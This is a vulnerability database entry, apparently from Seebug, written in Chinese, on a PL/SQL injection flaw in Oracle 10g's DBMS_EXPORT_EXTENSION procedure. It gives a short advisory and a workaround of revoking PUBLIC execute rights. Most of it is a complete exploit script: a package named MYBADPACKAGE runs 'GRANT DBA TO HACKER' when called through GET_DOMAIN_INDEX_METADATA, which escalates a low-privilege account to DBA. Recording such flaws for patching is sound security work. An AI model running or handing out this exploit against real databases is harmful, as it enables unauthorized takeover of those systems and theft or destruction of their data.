Oracle 10g DBMS_EXPORT_EXTENSION存储过程远程SQL注入漏洞

2008-10-20T00:00:00
ID SSV:4266
Type seebug
Reporter Root
Modified 2008-10-20T00:00:00

Description

Oracle是一款大型的商业数据库系统。

Oracle 10g中由SYS用户运行的DBMS_EXPORT_EXTENSION存储过程存在PL/SQL注入漏洞,允许低权限用户以DBA权限执行任意SQL代码。

Oracle声称已在2006年4月的紧急补丁更新中修复了这个漏洞,但实际上并未修复。

Oracle10g 10.2.0.2.0 临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

  • 删除DBMS_EXPORT_EXTENSION的PUBLIC执行权限。

厂商补丁:

Oracle

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: <a href=http://www.oracle.com target=_blank>http://www.oracle.com</a>

                                        
                                            
                                                /*
* Fucking NON-0 day($) exploit for Oracle 10g 10.2.0.2.0
*
* Patch your database now!
*
* by N1V1Hd $3c41r3
*
*/

CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/

CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE ''GRANT DBA TO HACKER'';
COMMIT;
RETURN(1);
END;

END;
/

DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := ''A1''; INDEX_SCHEMA := ''HACKER'';
TYPE_NAME := ''MYBADPACKAGE''; TYPE_SCHEMA := ''HACKER'';
VERSION := ''10.2.0.2.0''; GMFLAGS := 1;

v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME =&gt; INDEX_NAME, INDEX_SCHEMA =&gt; INDEX_SCHEMA, TYPE_NAME
=&gt; TYPE_NAME,
TYPE_SCHEMA =&gt; TYPE_SCHEMA, VERSION =&gt; VERSION, NEWBLOCK =&gt;
NEWBLOCK, GMFLAGS =&gt; GMFLAGS
);
END;
/